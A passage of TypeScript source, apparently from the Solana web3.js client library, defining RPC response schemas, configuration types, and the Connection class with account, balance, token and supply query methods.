),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getBlock\" message when `transactionDetails` is `none`\n */\nconst GetParsedNoneModeBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n blockHeight: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getConfirmedBlock\" message\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetBlockRpcResult} instead.\n */\nconst GetConfirmedBlockRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n transactions: array(\n pick({\n transaction: ConfirmedTransactionResult,\n meta: nullable(ConfirmedTransactionMetaResult),\n }),\n ),\n rewards: optional(array(RewardsResult)),\n blockTime: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getBlock\" message\n */\nconst GetBlockSignaturesRpcResult = jsonRpcResult(\n nullable(\n pick({\n blockhash: string(),\n previousBlockhash: string(),\n parentSlot: number(),\n signatures: array(string()),\n blockTime: nullable(number()),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getTransaction\" message\n */\nconst GetTransactionRpcResult = jsonRpcResult(\n nullable(\n pick({\n slot: number(),\n meta: nullable(ConfirmedTransactionMetaResult),\n blockTime: optional(nullable(number())),\n transaction: ConfirmedTransactionResult,\n version: optional(TransactionVersionStruct),\n }),\n ),\n);\n\n/**\n * Expected parsed JSON RPC response for the \"getTransaction\" message\n */\nconst GetParsedTransactionRpcResult = jsonRpcResult(\n nullable(\n pick({\n slot: number(),\n transaction: ParsedConfirmedTransactionResult,\n meta: nullable(ParsedConfirmedTransactionMetaResult),\n blockTime: optional(nullable(number())),\n version: optional(TransactionVersionStruct),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"getRecentBlockhash\" message\n *\n * @deprecated Deprecated since RPC v1.8.0. Please use {@link GetLatestBlockhashRpcResult} instead.\n */\nconst GetRecentBlockhashAndContextRpcResult = jsonRpcResultAndContext(\n pick({\n blockhash: string(),\n feeCalculator: pick({\n lamportsPerSignature: number(),\n }),\n }),\n);\n\n/**\n * Expected JSON RPC response for the \"getLatestBlockhash\" message\n */\nconst GetLatestBlockhashRpcResult = jsonRpcResultAndContext(\n pick({\n blockhash: string(),\n lastValidBlockHeight: number(),\n }),\n);\n\n/**\n * Expected JSON RPC response for the \"isBlockhashValid\" message\n */\nconst IsBlockhashValidRpcResult = jsonRpcResultAndContext(boolean());\n\nconst PerfSampleResult = pick({\n slot: number(),\n numTransactions: number(),\n numSlots: number(),\n samplePeriodSecs: number(),\n});\n\n/*\n * Expected JSON RPC response for \"getRecentPerformanceSamples\" message\n */\nconst GetRecentPerformanceSamplesRpcResult = jsonRpcResult(\n array(PerfSampleResult),\n);\n\n/**\n * Expected JSON RPC response for the \"getFeeCalculatorForBlockhash\" message\n */\nconst GetFeeCalculatorRpcResult = jsonRpcResultAndContext(\n nullable(\n pick({\n feeCalculator: pick({\n lamportsPerSignature: number(),\n }),\n }),\n ),\n);\n\n/**\n * Expected JSON RPC response for the \"requestAirdrop\" message\n */\nconst RequestAirdropRpcResult = jsonRpcResult(string());\n\n/**\n * Expected JSON RPC response for the \"sendTransaction\" message\n */\nconst SendTransactionRpcResult = jsonRpcResult(string());\n\n/**\n * Information about the latest slot being processed by a node\n */\nexport type SlotInfo = {\n /** Currently processing slot */\n slot: number;\n /** Parent of the current slot */\n parent: number;\n /** The root block of the current slot's fork */\n root: number;\n};\n\n/**\n * Parsed account data\n */\nexport type ParsedAccountData = {\n /** Name of the program that owns this account */\n program: string;\n /** Parsed account data */\n parsed: any;\n /** Space used by account data */\n space: number;\n};\n\n/**\n * Stake Activation data\n */\nexport type StakeActivationData = {\n /** the stake account's activation state */\n state: 'active' | 'inactive' | 'activating' | 'deactivating';\n /** stake active during the epoch */\n active: number;\n /** stake inactive during the epoch */\n inactive: number;\n};\n\n/**\n * Data slice argument for getProgramAccounts\n */\nexport type DataSlice = {\n /** offset of data slice */\n offset: number;\n /** length of data slice */\n length: number;\n};\n\n/**\n * Memory comparison filter for getProgramAccounts\n */\nexport type MemcmpFilter = {\n memcmp: {\n /** offset into program account data to start comparison */\n offset: number;\n } & (\n | {\n encoding?: 'base58'; // Base-58 is the default when not supplied.\n /** data to match, as base-58 encoded string and limited to less than 129 bytes */\n bytes: string;\n }\n | {\n encoding: 'base64';\n /** data to match, as base-64 encoded string */\n bytes: string;\n }\n );\n};\n\n/**\n * Data size comparison filter for getProgramAccounts\n */\nexport type DataSizeFilter = {\n /** Size of data for program account data length comparison */\n dataSize: number;\n};\n\n/**\n * A filter object for getProgramAccounts\n */\nexport type GetProgramAccountsFilter = MemcmpFilter | DataSizeFilter;\n\n/**\n * Configuration object for getProgramAccounts requests\n */\nexport type GetProgramAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional encoding for account data (default base64)\n * To use \"jsonParsed\" encoding, please refer to `getParsedProgramAccounts` in connection.ts\n * */\n encoding?: 'base64';\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n /** Optional array of filters to apply to accounts */\n filters?: GetProgramAccountsFilter[];\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** wrap the result in an RpcResponse JSON object */\n withContext?: boolean;\n};\n\nexport type GetProgramAccountsResponse = readonly Readonly<{\n account: AccountInfo<Buffer>;\n /** the account Pubkey as base-58 encoded string */\n pubkey: PublicKey;\n}>[];\n\n/**\n * Configuration object for getParsedProgramAccounts\n */\nexport type GetParsedProgramAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional array of filters to apply to accounts */\n filters?: GetProgramAccountsFilter[];\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for getMultipleAccounts\n */\nexport type GetMultipleAccountsConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n /** Optional data slice to limit the returned account data */\n dataSlice?: DataSlice;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetStakeActivationConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** Epoch for which to calculate activation details. If parameter not provided, defaults to current epoch */\n epoch?: number;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetTokenAccountsByOwnerConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getStakeActivation`\n */\nexport type GetTransactionCountConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getNonce`\n */\nexport type GetNonceConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\n/**\n * Configuration object for `getNonceAndContext`\n */\nexport type GetNonceAndContextConfig = {\n /** Optional commitment level */\n commitment?: Commitment;\n /** The minimum slot that the request can be evaluated at */\n minContextSlot?: number;\n};\n\nexport type AccountSubscriptionConfig = Readonly<{\n /** Optional commitment level */\n commitment?: Commitment;\n /**\n * Encoding format for Account data\n * - `base58` is slow.\n * - `jsonParsed` encoding attempts to use program-specific state parsers to return more\n * human-readable and explicit account state data\n * - If `jsonParsed` is requested but a parser cannot be found, the field falls back to `base64`\n * encoding, detectable when the `data` field is type `string`.\n */\n encoding?: 'base58' | 'base64' | 'base64+zstd' | 'jsonParsed';\n}>;\n\nexport type ProgramAccountSubscriptionConfig = Readonly<{\n /** Optional commitment level */\n commitment?: Commitment;\n /**\n * Encoding format for Account data\n * - `base58` is slow.\n * - `jsonParsed` encoding attempts to use program-specific state parsers to return more\n * human-readable and explicit account state data\n * - If `jsonParsed` is requested but a parser cannot be found, the field falls back to `base64`\n * encoding, detectable when the `data` field is type `string`.\n */\n encoding?: 'base58' | 'base64' | 'base64+zstd' | 'jsonParsed';\n /**\n * Filter results using various filter objects\n * The resultant account must meet ALL filter criteria to be included in the returned results\n */\n filters?: GetProgramAccountsFilter[];\n}>;\n\n/**\n * Information describing an account\n */\nexport type AccountInfo<T> = {\n /** `true` if this account's data contains a loaded program */\n executable: boolean;\n /** Identifier of the program that owns the account */\n owner: PublicKey;\n /** Number of lamports assigned to the account */\n lamports: number;\n /** Optional data assigned to the account */\n data: T;\n /** Optional rent epoch info for account */\n rentEpoch?: number;\n};\n\n/**\n * Account information identified by pubkey\n */\nexport type KeyedAccountInfo = {\n accountId: PublicKey;\n accountInfo: AccountInfo<Buffer>;\n};\n\n/**\n * Callback function for account change notifications\n */\nexport type AccountChangeCallback = (\n accountInfo: AccountInfo<Buffer>,\n context: Context,\n) => void;\n\n/**\n * Callback function for program account change notifications\n */\nexport type ProgramAccountChangeCallback = (\n keyedAccountInfo: KeyedAccountInfo,\n context: Context,\n) => void;\n\n/**\n * Callback function for slot change notifications\n */\nexport type SlotChangeCallback = (slotInfo: SlotInfo) => void;\n\n/**\n * Callback function for slot update notifications\n */\nexport type SlotUpdateCallback = (slotUpdate: SlotUpdate) => void;\n\n/**\n * Callback function for signature status notifications\n */\nexport type SignatureResultCallback = (\n signatureResult: SignatureResult,\n context: Context,\n) => void;\n\n/**\n * Signature status notification with transaction result\n */\nexport type SignatureStatusNotification = {\n type: 'status';\n result: SignatureResult;\n};\n\n/**\n * Signature received notification\n */\nexport type SignatureReceivedNotification = {\n type: 'received';\n};\n\n/**\n * Callback function for signature notifications\n */\nexport type SignatureSubscriptionCallback = (\n notification: SignatureStatusNotification | SignatureReceivedNotification,\n context: Context,\n) => void;\n\n/**\n * Signature subscription options\n */\nexport type SignatureSubscriptionOptions = {\n commitment?: Commitment;\n enableReceivedNotification?: boolean;\n};\n\n/**\n * Callback function for root change notifications\n */\nexport type RootChangeCallback = (root: number) => void;\n\n/**\n * @internal\n */\nconst LogsResult = pick({\n err: TransactionErrorResult,\n logs: array(string()),\n signature: string(),\n});\n\n/**\n * Logs result.\n */\nexport type Logs = {\n err: TransactionError | null;\n logs: string[];\n signature: string;\n};\n\n/**\n * Expected JSON RPC response for the \"logsNotification\" message.\n */\nconst LogsNotificationResult = pick({\n result: notificationResultAndContext(LogsResult),\n subscription: number(),\n});\n\n/**\n * Filter for log subscriptions.\n */\nexport type LogsFilter = PublicKey | 'all' | 'allWithVotes';\n\n/**\n * Callback function for log notifications.\n */\nexport type LogsCallback = (logs: Logs, ctx: Context) => void;\n\n/**\n * Signature result\n */\nexport type SignatureResult = {\n err: TransactionError | null;\n};\n\n/**\n * Transaction error\n */\nexport type TransactionError = {} | string;\n\n/**\n * Transaction confirmation status\n * <pre>\n * 'processed': Transaction landed in a block which has reached 1 confirmation by the connected node\n * 'confirmed': Transaction landed in a block which has reached 1 confirmation by the cluster\n * 'finalized': Transaction landed in a block which has been finalized by the cluster\n * </pre>\n */\nexport type TransactionConfirmationStatus =\n | 'processed'\n | 'confirmed'\n | 'finalized';\n\n/**\n * Signature status\n */\nexport type SignatureStatus = {\n /** when the transaction was processed */\n slot: number;\n /** the number of blocks that have been confirmed and voted on in the fork containing `slot` */\n confirmations: number | null;\n /** transaction error, if any */\n err: TransactionError | null;\n /** cluster confirmation status, if data available. Possible responses: `processed`, `confirmed`, `finalized` */\n confirmationStatus?: TransactionConfirmationStatus;\n};\n\n/**\n * A confirmed signature with its status\n */\nexport type ConfirmedSignatureInfo = {\n /** the transaction signature */\n signature: string;\n /** when the transaction was processed */\n slot: number;\n /** error, if any */\n err: TransactionError | null;\n /** memo associated with the transaction, if any */\n memo: string | null;\n /** The unix timestamp of when the transaction was processed */\n blockTime?: number | null;\n /** Cluster confirmation status, if available. Possible values: `processed`, `confirmed`, `finalized` */\n confirmationStatus?: TransactionConfirmationStatus;\n};\n\n/**\n * An object defining headers to be passed to the RPC server\n */\nexport type HttpHeaders = {\n [header: string]: string;\n} & {\n // Prohibited headers; for internal use only.\n 'solana-client'?: never;\n};\n\n/**\n * The type of the JavaScript `fetch()` API\n */\nexport type FetchFn = typeof fetchImpl;\n\n/**\n * A callback used to augment the outgoing HTTP request\n */\nexport type FetchMiddleware = (\n info: Parameters<FetchFn>[0],\n init: Parameters<FetchFn>[1],\n fetch: (...a: Parameters<FetchFn>) => void,\n) => void;\n\n/**\n * Configuration for instantiating a Connection\n */\nexport type ConnectionConfig = {\n /**\n * An `http.Agent` that will be used to manage socket connections (eg. to implement connection\n * persistence). Set this to `false` to create a connection that uses no agent. This applies to\n * Node environments only.\n */\n httpAgent?: NodeHttpAgent | NodeHttpsAgent | false;\n /** Optional commitment level */\n commitment?: Commitment;\n /** Optional endpoint URL to the fullnode JSON RPC PubSub WebSocket Endpoint */\n wsEndpoint?: string;\n /** Optional HTTP headers object */\n httpHeaders?: HttpHeaders;\n /** Optional custom fetch function */\n fetch?: FetchFn;\n /** Optional fetch middleware callback */\n fetchMiddleware?: FetchMiddleware;\n /** Optional Disable retrying calls when server responds with HTTP 429 (Too Many Requests) */\n disableRetryOnRateLimit?: boolean;\n /** time to allow for the server to initially process a transaction (in milliseconds) */\n confirmTransactionInitialTimeout?: number;\n};\n\n/** @internal */\nconst COMMON_HTTP_HEADERS = {\n 'solana-client': `js/${process.env.npm_package_version ?? 'UNKNOWN'}`,\n};\n\n/**\n * A connection to a fullnode JSON RPC endpoint\n */\nexport class Connection {\n /** @internal */ _commitment?: Commitment;\n /** @internal */ _confirmTransactionInitialTimeout?: number;\n /** @internal */ _rpcEndpoint: string;\n /** @internal */ _rpcWsEndpoint: string;\n /** @internal */ _rpcClient: RpcClient;\n /** @internal */ _rpcRequest: RpcRequest;\n /** @internal */ _rpcBatchRequest: RpcBatchRequest;\n /** @internal */ _rpcWebSocket: RpcWebSocketClient;\n /** @internal */ _rpcWebSocketConnected: boolean = false;\n /** @internal */ _rpcWebSocketHeartbeat: ReturnType<\n typeof setInterval\n > | null = null;\n /** @internal */ _rpcWebSocketIdleTimeout: ReturnType<\n typeof setTimeout\n > | null = null;\n /** @internal\n * A number that we increment every time an active connection closes.\n * Used to determine whether the same socket connection that was open\n * when an async operation started is the same one that's active when\n * its continuation fires.\n *\n */ private _rpcWebSocketGeneration: number = 0;\n\n /** @internal */ _disableBlockhashCaching: boolean = false;\n /** @internal */ _pollingBlockhash: boolean = false;\n /** @internal */ _blockhashInfo: {\n latestBlockhash: BlockhashWithExpiryBlockHeight | null;\n lastFetch: number;\n simulatedSignatures: Array<string>;\n transactionSignatures: Array<string>;\n } = {\n latestBlockhash: null,\n lastFetch: 0,\n transactionSignatures: [],\n simulatedSignatures: [],\n };\n\n /** @internal */ private _nextClientSubscriptionId: ClientSubscriptionId = 0;\n /** @internal */ private _subscriptionDisposeFunctionsByClientSubscriptionId: {\n [clientSubscriptionId: ClientSubscriptionId]:\n | SubscriptionDisposeFn\n | undefined;\n } = {};\n /** @internal */ private _subscriptionHashByClientSubscriptionId: {\n [clientSubscriptionId: ClientSubscriptionId]:\n | SubscriptionConfigHash\n | undefined;\n } = {};\n /** @internal */ private _subscriptionStateChangeCallbacksByHash: {\n [hash: SubscriptionConfigHash]:\n | Set<SubscriptionStateChangeCallback>\n | undefined;\n } = {};\n /** @internal */ private _subscriptionCallbacksByServerSubscriptionId: {\n [serverSubscriptionId: ServerSubscriptionId]:\n | Set<SubscriptionConfig['callback']>\n | undefined;\n } = {};\n /** @internal */ private _subscriptionsByHash: {\n [hash: SubscriptionConfigHash]: Subscription | undefined;\n } = {};\n /**\n * Special case.\n * After a signature is processed, RPCs automatically dispose of the\n * subscription on the server side. We need to track which of these\n * subscriptions have been disposed in such a way, so that we know\n * whether the client is dealing with a not-yet-processed signature\n * (in which case we must tear down the server subscription) or an\n * already-processed signature (in which case the client can simply\n * clear out the subscription locally without telling the server).\n *\n * NOTE: There is a proposal to eliminate this special case, here:\n * https://github.com/solana-labs/solana/issues/18892\n */\n /** @internal */ private _subscriptionsAutoDisposedByRpc: Set<ServerSubscriptionId> =\n new Set();\n\n /**\n * Establish a JSON RPC connection\n *\n * @param endpoint URL to the fullnode JSON RPC endpoint\n * @param commitmentOrConfig optional default commitment level or optional ConnectionConfig configuration object\n */\n constructor(\n endpoint: string,\n commitmentOrConfig?: Commitment | ConnectionConfig,\n ) {\n let wsEndpoint;\n let httpHeaders;\n let fetch;\n let fetchMiddleware;\n let disableRetryOnRateLimit;\n let httpAgent;\n if (commitmentOrConfig && typeof commitmentOrConfig === 'string') {\n this._commitment = commitmentOrConfig;\n } else if (commitmentOrConfig) {\n this._commitment = commitmentOrConfig.commitment;\n this._confirmTransactionInitialTimeout =\n commitmentOrConfig.confirmTransactionInitialTimeout;\n wsEndpoint = commitmentOrConfig.wsEndpoint;\n httpHeaders = commitmentOrConfig.httpHeaders;\n fetch = commitmentOrConfig.fetch;\n fetchMiddleware = commitmentOrConfig.fetchMiddleware;\n disableRetryOnRateLimit = commitmentOrConfig.disableRetryOnRateLimit;\n httpAgent = commitmentOrConfig.httpAgent;\n }\n\n this._rpcEndpoint = assertEndpointUrl(endpoint);\n this._rpcWsEndpoint = wsEndpoint || makeWebsocketUrl(endpoint);\n\n this._rpcClient = createRpcClient(\n endpoint,\n httpHeaders,\n fetch,\n fetchMiddleware,\n disableRetryOnRateLimit,\n httpAgent,\n );\n this._rpcRequest = createRpcRequest(this._rpcClient);\n this._rpcBatchRequest = createRpcBatchRequest(this._rpcClient);\n\n this._rpcWebSocket = new RpcWebSocketClient(this._rpcWsEndpoint, {\n autoconnect: false,\n max_reconnects: Infinity,\n });\n this._rpcWebSocket.on('open', this._wsOnOpen.bind(this));\n this._rpcWebSocket.on('error', this._wsOnError.bind(this));\n this._rpcWebSocket.on('close', this._wsOnClose.bind(this));\n this._rpcWebSocket.on(\n 'accountNotification',\n this._wsOnAccountNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'programNotification',\n this._wsOnProgramAccountNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'slotNotification',\n this._wsOnSlotNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'slotsUpdatesNotification',\n this._wsOnSlotUpdatesNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'signatureNotification',\n this._wsOnSignatureNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'rootNotification',\n this._wsOnRootNotification.bind(this),\n );\n this._rpcWebSocket.on(\n 'logsNotification',\n this._wsOnLogsNotification.bind(this),\n );\n }\n\n /**\n * The default commitment used for requests\n */\n get commitment(): Commitment | undefined {\n return this._commitment;\n }\n\n /**\n * The RPC endpoint\n */\n get rpcEndpoint(): string {\n return this._rpcEndpoint;\n }\n\n /**\n * Fetch the balance for the specified public key, return with context\n */\n async getBalanceAndContext(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetBalanceConfig,\n ): Promise<RpcResponseAndContext<number>> {\n /** @internal */\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n undefined /* encoding */,\n config,\n );\n const unsafeRes = await this._rpcRequest('getBalance', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get balance for ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the balance for the specified public key\n */\n async getBalance(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetBalanceConfig,\n ): Promise<number> {\n return await this.getBalanceAndContext(publicKey, commitmentOrConfig)\n .then(x => x.value)\n .catch(e => {\n throw new Error(\n 'failed to get balance of account ' + publicKey.toBase58() + ': ' + e,\n );\n });\n }\n\n /**\n * Fetch the estimated production time of a block\n */\n async getBlockTime(slot: number): Promise<number | null> {\n const unsafeRes = await this._rpcRequest('getBlockTime', [slot]);\n const res = create(unsafeRes, jsonRpcResult(nullable(number())));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get block time for slot ${slot}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the lowest slot that the node has information about in its ledger.\n * This value may increase over time if the node is configured to purge older ledger data\n */\n async getMinimumLedgerSlot(): Promise<number> {\n const unsafeRes = await this._rpcRequest('minimumLedgerSlot', []);\n const res = create(unsafeRes, jsonRpcResult(number()));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get minimum ledger slot',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the slot of the lowest confirmed block that has not been purged from the ledger\n */\n async getFirstAvailableBlock(): Promise<number> {\n const unsafeRes = await this._rpcRequest('getFirstAvailableBlock', []);\n const res = create(unsafeRes, SlotRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get first available block',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch information about the current supply\n */\n async getSupply(\n config?: GetSupplyConfig | Commitment,\n ): Promise<RpcResponseAndContext<Supply>> {\n let configArg: GetSupplyConfig = {};\n if (typeof config === 'string') {\n configArg = {commitment: config};\n } else if (config) {\n configArg = {\n ...config,\n commitment: (config && config.commitment) || this.commitment,\n };\n } else {\n configArg = {\n commitment: this.commitment,\n };\n }\n\n const unsafeRes = await this._rpcRequest('getSupply', [configArg]);\n const res = create(unsafeRes, GetSupplyRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get supply');\n }\n return res.result;\n }\n\n /**\n * Fetch the current supply of a token mint\n */\n async getTokenSupply(\n tokenMintAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<TokenAmount>> {\n const args = this._buildArgs([tokenMintAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenSupply', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get token supply');\n }\n return res.result;\n }\n\n /**\n * Fetch the current balance of a token account\n */\n async getTokenAccountBalance(\n tokenAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<TokenAmount>> {\n const args = this._buildArgs([tokenAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenAccountBalance', args);\n const res = create(unsafeRes, jsonRpcResultAndContext(TokenAmountResult));\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get token account balance',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the token accounts owned by the specified account\n *\n * @return {Promise<RpcResponseAndContext<GetProgramAccountsResponse>}\n */\n async getTokenAccountsByOwner(\n ownerAddress: PublicKey,\n filter: TokenAccountsFilter,\n commitmentOrConfig?: Commitment | GetTokenAccountsByOwnerConfig,\n ): Promise<RpcResponseAndContext<GetProgramAccountsResponse>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n let _args: any[] = [ownerAddress.toBase58()];\n if ('mint' in filter) {\n _args.push({mint: filter.mint.toBase58()});\n } else {\n _args.push({programId: filter.programId.toBase58()});\n }\n\n const args = this._buildArgs(_args, commitment, 'base64', config);\n const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args);\n const res = create(unsafeRes, GetTokenAccountsByOwner);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get token accounts owned by account ${ownerAddress.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed token accounts owned by the specified account\n *\n * @return {Promise<RpcResponseAndContext<Array<{pubkey: PublicKey, account: AccountInfo<ParsedAccountData>}>>>}\n */\n async getParsedTokenAccountsByOwner(\n ownerAddress: PublicKey,\n filter: TokenAccountsFilter,\n commitment?: Commitment,\n ): Promise<\n RpcResponseAndContext<\n Array<{pubkey: PublicKey; account: AccountInfo<ParsedAccountData>}>\n >\n > {\n let _args: any[] = [ownerAddress.toBase58()];\n if ('mint' in filter) {\n _args.push({mint: filter.mint.toBase58()});\n } else {\n _args.push({programId: filter.programId.toBase58()});\n }\n\n const args = this._buildArgs(_args, commitment, 'jsonParsed');\n const unsafeRes = await this._rpcRequest('getTokenAccountsByOwner', args);\n const res = create(unsafeRes, GetParsedTokenAccountsByOwner);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get token accounts owned by account ${ownerAddress.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch the 20 largest accounts with their current balances\n */\n async getLargestAccounts(\n config?: GetLargestAccountsConfig,\n ): Promise<RpcResponseAndContext<Array<AccountBalancePair>>> {\n const arg = {\n ...config,\n commitment: (config && config.commitment) || this.commitment,\n };\n const args = arg.filter || arg.commitment ? [arg] : [];\n const unsafeRes = await this._rpcRequest('getLargestAccounts', args);\n const res = create(unsafeRes, GetLargestAccountsRpcResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(res.error, 'failed to get largest accounts');\n }\n return res.result;\n }\n\n /**\n * Fetch the 20 largest token accounts with their current balances\n * for a given mint.\n */\n async getTokenLargestAccounts(\n mintAddress: PublicKey,\n commitment?: Commitment,\n ): Promise<RpcResponseAndContext<Array<TokenAccountBalancePair>>> {\n const args = this._buildArgs([mintAddress.toBase58()], commitment);\n const unsafeRes = await this._rpcRequest('getTokenLargestAccounts', args);\n const res = create(unsafeRes, GetTokenLargestAccountsResult);\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n 'failed to get token largest accounts',\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for the specified public key, return with context\n */\n async getAccountInfoAndContext(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<RpcResponseAndContext<AccountInfo<Buffer> | null>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n 'base64',\n config,\n );\n const unsafeRes = await this._rpcRequest('getAccountInfo', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(nullable(AccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info about account ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch parsed account info for the specified public key\n */\n async getParsedAccountInfo(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<\n RpcResponseAndContext<AccountInfo<Buffer | ParsedAccountData> | null>\n > {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const args = this._buildArgs(\n [publicKey.toBase58()],\n commitment,\n 'jsonParsed',\n config,\n );\n const unsafeRes = await this._rpcRequest('getAccountInfo', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(nullable(ParsedAccountInfoResult)),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info about account ${publicKey.toBase58()}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for the specified public key\n */\n async getAccountInfo(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetAccountInfoConfig,\n ): Promise<AccountInfo<Buffer> | null> {\n try {\n const res = await this.getAccountInfoAndContext(\n publicKey,\n commitmentOrConfig,\n );\n return res.value;\n } catch (e) {\n throw new Error(\n 'failed to get info about account ' + publicKey.toBase58() + ': ' + e,\n );\n }\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys, return with context\n */\n async getMultipleParsedAccounts(\n publicKeys: PublicKey[],\n rawConfig?: GetMultipleAccountsConfig,\n ): Promise<\n RpcResponseAndContext<(AccountInfo<Buffer | ParsedAccountData> | null)[]>\n > {\n const {commitment, config} = extractCommitmentFromConfig(rawConfig);\n const keys = publicKeys.map(key => key.toBase58());\n const args = this._buildArgs([keys], commitment, 'jsonParsed', config);\n const unsafeRes = await this._rpcRequest('getMultipleAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(array(nullable(ParsedAccountInfoResult))),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info for accounts ${keys}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys, return with context\n */\n async getMultipleAccountsInfoAndContext(\n publicKeys: PublicKey[],\n commitmentOrConfig?: Commitment | GetMultipleAccountsConfig,\n ): Promise<RpcResponseAndContext<(AccountInfo<Buffer> | null)[]>> {\n const {commitment, config} =\n extractCommitmentFromConfig(commitmentOrConfig);\n const keys = publicKeys.map(key => key.toBase58());\n const args = this._buildArgs([keys], commitment, 'base64', config);\n const unsafeRes = await this._rpcRequest('getMultipleAccounts', args);\n const res = create(\n unsafeRes,\n jsonRpcResultAndContext(array(nullable(AccountInfoResult))),\n );\n if ('error' in res) {\n throw new SolanaJSONRPCError(\n res.error,\n `failed to get info for accounts ${keys}`,\n );\n }\n return res.result;\n }\n\n /**\n * Fetch all the account info for multiple accounts specified by an array of public keys\n */\n async getMultipleAccountsInfo(\n publicKeys: PublicKey[],\n commitmentOrConfig?: Commitment | GetMultipleAccountsConfig,\n ): Promise<(AccountInfo<Buffer> | null)[]> {\n const res = await this.getMultipleAccountsInfoAndContext(\n publicKeys,\n commitmentOrConfig,\n );\n return res.value;\n }\n\n /**\n * Returns epoch activation information for a stake account that has been delegated\n *\n * @deprecated Deprecated since RPC v1.18; will be removed in a future version.\n */\n async getStakeActivation(\n publicKey: PublicKey,\n commitmentOrConfig?: Commitment | GetStakeActivationConfig,\n epoch?: number,\n ): Promise<StakeActivationData> {\n const {commitment, config} 